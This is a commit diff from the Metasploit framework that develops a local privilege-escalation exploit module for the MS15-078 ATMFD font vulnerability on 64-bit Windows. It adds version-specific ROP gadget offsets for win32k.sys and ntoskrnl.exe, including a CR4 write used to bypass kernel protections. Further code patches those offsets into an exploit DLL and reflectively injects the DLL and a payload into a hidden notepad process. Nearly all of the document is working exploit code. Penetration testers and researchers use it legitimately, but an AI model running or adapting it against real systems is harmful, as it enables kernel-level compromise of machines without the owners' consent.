Browse Source

Do first prototype

jvazquez-r7 4 years ago
parent
commit
53f995b9c3
No account linked to committer's email address

BIN
data/exploits/CVE-2015-2426/reflective_dll.x64.dll View File


+ 16
- 4
lib/msf/core/post/windows/reflective_dll_injection.rb View File

@@ -15,7 +15,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection
15 15
 
16 16
   PAGE_ALIGN = 1024
17 17
 
18
-  #
19 18
   # Inject the given shellcode into a target process.
20 19
   #
21 20
   # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
@@ -24,7 +23,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection
24 23
   #
25 24
   # @return [Fixnum] Address of the shellcode in the target process's
26 25
   #   memory.
27
-  #
28 26
   def inject_into_process(process, shellcode)
29 27
     shellcode_size = shellcode.length
30 28
 
@@ -39,7 +37,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection
39 37
     return shellcode_mem
40 38
   end
41 39
 
42
-  #
43 40
   # Inject a reflectively-injectable DLL into the given process
44 41
   # using reflective injection.
45 42
   #
@@ -49,7 +46,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection
49 46
   #
50 47
   # @return [Array] Tuple of allocated memory address and offset to the
51 48
   #   +ReflectiveLoader+ function.
52
-  #
53 49
   def inject_dll_into_process(process, dll_path)
54 50
     dll, offset = load_rdi_dll(dll_path)
55 51
     dll_mem = inject_into_process(process, dll)
@@ -57,4 +53,20 @@ module Msf::Post::Windows::ReflectiveDLLInjection
57 53
     return dll_mem, offset
58 54
   end
59 55
 
56
+  # Inject a reflectively-injectable DLL into the given process
57
+  # using reflective injection.
58
+  #
59
+  # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
60
+  #   The process to inject the shellcode into.
61
+  # @param dll_data [String] the DLL contents which is to be loaded and injected.
62
+  #
63
+  # @return [Array] Tuple of allocated memory address and offset to the
64
+  #   +ReflectiveLoader+ function.
65
+  def inject_dll_data_into_process(process, dll_data)
66
+    offset = load_rdi_dll_from_data(dll_data)
67
+    dll_mem = inject_into_process(process, dll_data)
68
+
69
+    return dll_mem, offset
70
+  end
71
+
60 72
 end

+ 22
- 5
lib/msf/core/reflective_dll_loader.rb View File

@@ -10,7 +10,6 @@
10 10
 
11 11
 module Msf::ReflectiveDLLLoader
12 12
 
13
-  #
14 13
   # Load a reflectively-injectable DLL from disk and find the offset
15 14
   # to the ReflectiveLoader function inside the DLL.
16 15
   #
@@ -18,14 +17,32 @@ module Msf::ReflectiveDLLLoader
18 17
   #
19 18
   # @return [Array] Tuple of DLL contents and offset to the
20 19
   #                 +ReflectiveLoader+ function within the DLL.
21
-  #
22 20
   def load_rdi_dll(dll_path)
23 21
     dll = ''
24
-    offset = nil
25
-
26 22
     ::File.open(dll_path, 'rb') { |f| dll = f.read }
27 23
 
24
+    offset = parse_pe(dll)
25
+
26
+    return dll, offset
27
+  end
28
+
29
+  # Load a reflectively-injectable DLL from an string and find the offset
30
+  # to the ReflectiveLoader function inside the DLL.
31
+  #
32
+  # @param [Fixnum] dll_data the DLL to load.
33
+  #
34
+  # @return [Fixnum] offset to the +ReflectiveLoader+ function within the DLL.
35
+  def load_rdi_dll_from_data(dll_data)
36
+    offset = parse_pe(dll_data)
37
+
38
+    offset
39
+  end
40
+
41
+  private
42
+
43
+  def parse_pe(dll)
28 44
     pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
45
+    offset = nil
29 46
 
30 47
     pe.exports.entries.each do |e|
31 48
       if e.name =~ /^\S*ReflectiveLoader\S*/
@@ -38,6 +55,6 @@ module Msf::ReflectiveDLLLoader
38 55
       raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
39 56
     end
40 57
 
41
-    return dll, offset
58
+    offset
42 59
   end
43 60
 end

+ 175
- 8
modules/exploits/windows/local/ms15_078_atmfd_bof.rb View File

@@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Local
30 30
           'Eugene Ching',    # vulnerability discovery and exploit
31 31
           'Mateusz Jurczyk', # vulnerability discovery
32 32
           'Cedric Halbronn', # vulnerability and exploit analysis
33
-          'juan vazquez'     # msf module
33
+          'juan vazquez',    # msf module
34
+          'sinn3r'           # msf module
34 35
         ],
35 36
       'Arch'            => ARCH_X86_64,
36 37
       'Platform'        => 'win',
@@ -60,6 +61,160 @@ class Metasploit3 < Msf::Exploit::Local
60 61
     }))
61 62
   end
62 63
 
64
+  def patch_win32k_offsets(dll)
65
+    @win32k_offsets.each do |k, v|
66
+      case k
67
+      when 'info_leak'
68
+        puts "patching ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
69
+        dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<'))
70
+      when 'pop_rax_ret'
71
+        puts "patching 1 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
72
+        dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<'))
73
+      when 'xchg_rax_rsp'
74
+        puts "patching 2 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
75
+        dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<'))
76
+      when 'allocate_pool'
77
+        puts "patching 3 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
78
+        dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<'))
79
+      when 'pop_rcx_ret'
80
+        puts "patching 4 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
81
+        dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<'))
82
+      when 'deref_rax_into_rcx'
83
+        puts "patching 5 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
84
+        dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<'))
85
+      when 'mov_rax_into_rcx'
86
+        puts "patching 6 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
87
+        dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<'))
88
+      when 'pop_rbx_ret'
89
+        puts "patching 7 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
90
+        dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<'))
91
+      when 'ret'
92
+        puts "patching 8 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
93
+        dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<'))
94
+      when 'mov_rax_r11_ret'
95
+        puts "patching 9 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
96
+        dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<'))
97
+      when 'add_rax_rcx_ret'
98
+        puts "patching a ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
99
+        dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<'))
100
+      when 'pop_rsp_ret'
101
+        puts "patching b ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
102
+        dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<'))
103
+      when 'xchg_rax_rsp_adjust'
104
+        puts "patching c ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
105
+        dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<'))
106
+      when 'chwnd_delete'
107
+        puts "patching d ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
108
+        dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<'))
109
+      end
110
+    end
111
+  end
112
+
113
+  def set_win32k_offsets
114
+    @win32k_offsets ||= Proc.new do |version|
115
+      case version
116
+      when '6.3.9600.17393'
117
+        {
118
+          # 0xdeedbeefdeedbe00
119
+          'info_leak'           => 0x3cf00,
120
+          # 0xdeedbeefdeedbe01
121
+          'pop_rax_ret'         => 0x19fab,  # pop rax # ret # 58 C3
122
+          # 0xdeedbeefdeedbe02
123
+          'xchg_rax_rsp'        => 0x6121,   # xchg eax, esp # ret # 94 C3
124
+          # 0xdeedbeefdeedbe03
125
+          'allocate_pool'       => 0x352220, # import entry nt!ExAllocatePoolWithTag
126
+          # 0xdeedbeefdeedbe04
127
+          'pop_rcx_ret'         => 0x98156,  # pop rcx # ret # 59 C3
128
+          # 0xdeedbeefdeedbe05
129
+          'deref_rax_into_rcx'  => 0xc432f,  # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
130
+          # 0xdeedbeefdeedbe06
131
+          'mov_rax_into_rcx'    => 0xc432f,  # mov [rcx], rax # ret # 48 89 01 C3
132
+          # 0xdeedbeefdeedbe07
133
+          'pop_rbx_ret'         => 0x14db,   # pop rbx # ret # 5B C3
134
+          # 0xdeedbeefdeedbe08
135
+          'ret'                 => 0x6e314,  # ret C3
136
+          # 0xdeedbeefdeedbe09
137
+          'mov_rax_r11_ret'     => 0x7018e,  # mov rax, r11 # ret # 49 8B C3 C3
138
+          # 0xdeedbeefdeedbe0a
139
+          'add_rax_rcx_ret'     => 0xee38f,  # add rax, rcx # ret # 48 03 C1 C3
140
+          # 0xdeedbeefdeedbe0b
141
+          'pop_rsp_ret'         => 0xbc8f,   # pop rsp # ret # 5c c3
142
+          # 0xdeedbeefdeedbe0c
143
+          'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sar bh, cl # add rsp, 0x80 # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3
144
+          # 0xdeedbeefdeedbe0d
145
+          'chwnd_delete'        => 0x165010  # CHwndTargetProp::Delete
146
+        }
147
+      when '6.3.9600.17837'
148
+        {
149
+          'info_leak'           => 0x3d800,
150
+          'pop_rax_ret'         => 0x1a51f,  # pop rax # ret # 58 C3
151
+          'xchg_rax_rsp'        => 0x62b4,   # xchg eax, esp # ret # 94 C3
152
+          'allocate_pool'       => 0x351220, # import entry nt!ExAllocatePoolWithTag
153
+          'pop_rcx_ret'         => 0x97a4a,  # pop rcx # ret # 59 C3
154
+          'deref_rax_into_rcx'  => 0xc3687,  # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
155
+          'pop_rbx_ret'         => 0x14db,   # pop rbx # ret # 5B C3
156
+          'ret'                 => 0x14dc,   # ret C3
157
+          'mov_rax_r11_ret'     => 0x94871,  # mov rax, r11 # ret # 49 8B C3 C3
158
+          'add_rax_rcx_ret'     => 0xecbdb,  # add rax, rcx # ret # 48 03 C1 C3
159
+          'mov_rax_into_rcx'    => 0xc368a,  # mov [rcx], rax # ret # 48 89 01 C3
160
+          'pop_rsp_ret'         => 0xbd2c,   # pop rsp # ret # 5c c3
161
+          'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret
162
+          'chwnd_delete'        => 0x15A470  # CHwndTargetProp::Delete
163
+        }
164
+      when '6.3.9600.17915'
165
+        {
166
+          'pop_rax_ret'         => 0x1A4EF,  # 58 C3
167
+          'xchg_rax_rsp'        => 0x62CC,   # 94 C3
168
+          'allocate_pool'       => 0x351220, # import entry nt!ExAllocatePoolWithTag
169
+          'pop_rcx_ret'         => 0x9765A,  # 59 C3
170
+          'write_into_rcx'      => 0xC364F,  # 48 8B 00 48 89 01 C3
171
+          'pop_rbx_ret'         => 0x14DB,   # 5B C3
172
+          'ret'                 => 0x14Dc,   # C3
173
+          'mov_rax_r11_ret'     => 0x45013,  # 49 8B C3
174
+          'add_rax_rcx_ret'     => 0xECDCB,  # 48 03 C1 C3
175
+          'mov_rsp_rax_ret'     => 0,  # 50 2D 20 00 48 8B 5C 24 08 48 8B 7C 24 10 8B C2 C3
176
+          'xchg_rax_rsp_adjust' => 0x34241a, # 94 d2 ff 48 81 c4 80 00 00 00 5b c3
177
+          'chwnd_delete'        => 0x15A220
178
+        }
179
+      else
180
+        nil
181
+      end
182
+    end.call(@win32k)
183
+  end
184
+
185
+  def patch_nt_offsets(dll)
186
+    @nt_offsets.each do |k, v|
187
+      case k
188
+      when 'set_cr4'
189
+        puts "patching e ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
190
+        dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<'))
191
+      when 'allocate_pool_with_tag'
192
+        puts "patching f ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}"
193
+        dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<'))
194
+      end
195
+    end
196
+  end
197
+
198
+  def set_nt_offsets
199
+    @nt_offsets ||= Proc.new do |version|
200
+      case version
201
+      when '6.3.9600.17415'
202
+        {
203
+          # 0xdeedbeefdeedbe0e
204
+          'set_cr4'                => 0x38a3cc, # 0F 22 E0 48 83 C4 28 C3
205
+          # 0xdeedbeefdeedbe0f
206
+          'allocate_pool_with_tag' => 0x2a3a50
207
+        }
208
+      when '6.3.9600.17936'
209
+        {
210
+          'set_cr4' => 0x3863bc # 0F 22 E0 48 83 C4 28 C3
211
+        }
212
+      else
213
+        nil
214
+      end
215
+    end.call(@ntoskrnl)
216
+  end
217
+
63 218
   def atmfd_version
64 219
     file_path = expand_path('%windir%') << '\\system32\\atmfd.dll'
65 220
     major, minor, build, revision, branch = file_version(file_path)
@@ -108,24 +263,24 @@ class Metasploit3 < Msf::Exploit::Local
108 263
     end
109 264
 
110 265
     # win32k.sys 6.3.9600.17393 => Works
111
-    win32k = win32k_version
266
+    @win32k = win32k_version
112 267
 
113
-    unless win32k && win32k =~ /^6\.3/
268
+    unless @win32k && @win32k =~ /^6\.3/
114 269
       return Exploit::CheckCode::Unknown
115 270
     end
116 271
 
117
-    unless win32k && Gem::Version.new(win32k) == Gem::Version.new('6.3.9600.17393')
272
+    unless @win32k && Gem::Version.new(@win32k) == Gem::Version.new('6.3.9600.17393')
118 273
       return Exploit::CheckCode::Detected
119 274
     end
120 275
 
121 276
     # ntoskrnl.exe 6.3.9600.17415 => Works
122
-    ntoskrnl = ntoskrnl_version
277
+    @ntoskrnl = ntoskrnl_version
123 278
 
124
-    unless ntoskrnl && ntoskrnl =~ /^6\.3/
279
+    unless @ntoskrnl && @ntoskrnl =~ /^6\.3/
125 280
       return Exploit::CheckCode::Unknown
126 281
     end
127 282
 
128
-    unless ntoskrnl && Gem::Version.new(ntoskrnl) == Gem::Version.new('6.3.9600.17415')
283
+    unless @ntoskrnl && Gem::Version.new(@ntoskrnl) == Gem::Version.new('6.3.9600.17415')
129 284
       return Exploit::CheckCode::Detected
130 285
     end
131 286
 
@@ -146,6 +301,12 @@ class Metasploit3 < Msf::Exploit::Local
146 301
       fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
147 302
     end
148 303
 
304
+    set_win32k_offsets
305
+    fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil?
306
+
307
+    set_nt_offsets
308
+    fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil?
309
+
149 310
     begin
150 311
       print_status('Launching notepad to host the exploit...')
151 312
       notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
@@ -162,7 +323,13 @@ class Metasploit3 < Msf::Exploit::Local
162 323
     library_path = ::File.expand_path(library_path)
163 324
 
164 325
     print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
165
-    exploit_mem, offset = inject_dll_into_process(process, library_path)
326
+    dll = ''
327
+    ::File.open(library_path, 'rb') { |f| dll = f.read }
328
+
329
+    patch_win32k_offsets(dll)
330
+    patch_nt_offsets(dll)
331
+
332
+    exploit_mem, offset = inject_dll_data_into_process(process, dll)
166 333
 
167 334
     print_status("Exploit injected. Injecting payload into #{process.pid}...")
168 335
     payload_mem = inject_into_process(process, payload.encoded)

Loading…
Cancel
Save